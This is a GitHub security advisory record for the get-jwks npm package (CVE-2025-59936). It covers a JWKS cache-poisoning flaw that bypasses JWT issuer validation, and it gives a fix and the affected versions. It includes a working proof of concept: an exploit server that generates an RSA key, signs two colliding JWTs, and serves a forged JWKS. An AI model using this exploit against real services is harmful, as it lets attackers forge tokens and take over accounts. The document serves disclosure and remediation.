{"id":"GHSA-qc2q-qhf3-235m","summary":"get-jwks: poisoned JWKS cache allows post-fetch issuer validation bypass","details":"### Summary\nA vulnerability in `get-jwks` can lead to cache poisoning in the JWKS key-fetching mechanism. \n\n### Details\nWhen the `iss` (issuer) claim is validated only after keys are retrieved from the cache, it is possible for cached keys from an unexpected issuer to be reused, resulting in a bypass of issuer validation. This design flaw enables a potential attack where a malicious actor crafts a pair of JWTs, the first one ensuring that a chosen public key is fetched and stored in the shared JWKS cache, and the second one leveraging that cached key to pass signature validation for a targeted `iss` value.\n\nThe vulnerability will work only if the `iss` validation is done after the use of `get-jwks` for keys retrieval, which usually is the common case. \n\n### PoC\nServer code:\n\n```js\nconst express = require('express')\nconst buildJwks = require('get-jwks')\nconst { createVerifier } = require('fast-jwt')\n\nconst jwks = buildJwks({ providerDiscovery: true });\nconst keyFetcher = async (jwt) =\u003e\n    jwks.getPublicKey({\n        kid: jwt.header.kid,\n        alg: jwt.header.alg,\n        domain: jwt.payload.iss\n    });\n\nconst jwtVerifier = createVerifier({\n    key: keyFetcher,\n    allowedIss: 'https://example.com',\n});\n\nconst app = express();\nconst port = 3000;\n\napp.use(express.json());\n\nasync function verifyToken(req, res, next) {\n  const headerAuth = req.headers.authorization.split(' ')\n  let token = '';\n  if (headerAuth.length \u003e 1) {\n    token = headerAuth[1];\n  }\n\n  const payload = await jwtVerifier(token);\n\n  req.decoded = payload;\n  next();\n}\n\n// Endpoint to check if you are auth or not\napp.get('/auth', verifyToken, (req, res) =\u003e {\n  res.json(req.decoded);\n});\n\napp.listen(port, () =\u003e {\n  console.log(`Server is running on port ${port}`);\n});\n```\n\nExploit server that generates the JWT pair and send the public RSA key to the victim server:\n\n```js\nconst { generateKeyPairSync } = require('crypto');\nconst express = require('express');\nconst pem2jwk = require('pem2jwk');\nconst jwt = require('jsonwebtoken');\n\nconst app = express();\nconst port = 3001;\nconst host = `http://localhost:${port}`;\nconst target_iss = `https://example.com`;\n\nconst { publicKey, privateKey } = generateKeyPairSync(\"rsa\",\n    {   modulusLength: 4096,\n        publicKeyEncoding: { type: 'pkcs1', format: 'pem' },\n        privateKeyEncoding: { type: 'pkcs1', format: 'pem' },\n    },\n);\nconst jwk = pem2jwk(publicKey);\n\napp.use(express.json());\n\n// Endpoint to create cache poisoning token\napp.post('/create-token-1', (req, res) =\u003e {\n  const token = jwt.sign({ ...req.body, iss: `${host}/?:${target_iss}`,  }, privateKey, { \n    algorithm: 'RS256', \n    header: {\n        kid: \"testkid\", \n     } });\n  res.send(token);\n});\n\n// Endpoint to create a token with valid iss\napp.post('/create-token-2', (req, res) =\u003e {\n    const token = jwt.sign({ ...req.body, iss: target_iss ,  }, privateKey, { algorithm: 'RS256', header: {\n      kid: `testkid:${host}/?`, \n    } });\n    res.send(token);\n  });\n\napp.get('/.well-known/jwks.json', (req, res) =\u003e {\n    return res.json({\n        keys: [{\n            ...jwk,\n            kid: 'testkid',\n            alg: 'RS256',\n            use: 'sig',\n        }]\n    });\n})\n\napp.use((req, res) =\u003e {\n    return res.json({\n        \"issuer\": host,\n        \"jwks_uri\": host + '/.well-known/jwks.json'\n    });\n});\n\napp.listen(port, () =\u003e {\n  console.log(`Server is running on port ${port}`);\n});\n``` \n\nThe first JWT token will create a cache entry with the chosen public key and have the following format:\n\n`RS256:testkid:http://localhost:3001/?:https://example.com`\n\nThe second JWT has a valid `iss`, but will create the exact same cache key as the one before, leading to signature validation with the chosen public key, bypassing any future `iss` validations:\n\n`RS256:testkid:http://localhost:3001/?:https://example.com`\n\n### Impact\nApplications relying on `get-jwks` for key retrieval, even with `iss` validation post-fetching, allows attackers to sign arbitrary payloads which will be accepted by the verifiers used. \n\n### Solution\nEscape each component used in the cache key, so delimiter collisions are impossible.\n\nhttps://github.com/nearform/get-jwks/blob/57801368adf391a32040854863d81748d8ff97ed/src/get-jwks.js#L76","aliases":["CVE-2025-59936"],"modified":"2025-09-29T14:03:51Z","published":"2025-09-26T14:27:01Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2025-09-26T14:27:01Z","nvd_published_at":"2025-09-27T01:15:43Z","cwe_ids":["CWE-116"],"severity":"CRITICAL"},"references":[{"type":"WEB","url":"https://github.com/nearform/get-jwks/security/advisories/GHSA-qc2q-qhf3-235m"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-59936"},{"type":"WEB","url":"https://github.com/nearform/get-jwks/commit/1706a177a80a1759fe68e3339dc5a219ce03ddb9"},{"type":"PACKAGE","url":"https://github.com/nearform/get-jwks"}],"affected":[{"package":{"name":"get-jwks","ecosystem":"npm","purl":"pkg:npm/get-jwks"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"11.0.2"}]}],"database_specific":{"last_known_affected_version_range":"\u003c= 11.0.1","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/09/GHSA-qc2q-qhf3-235m/GHSA-qc2q-qhf3-235m.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L"}]}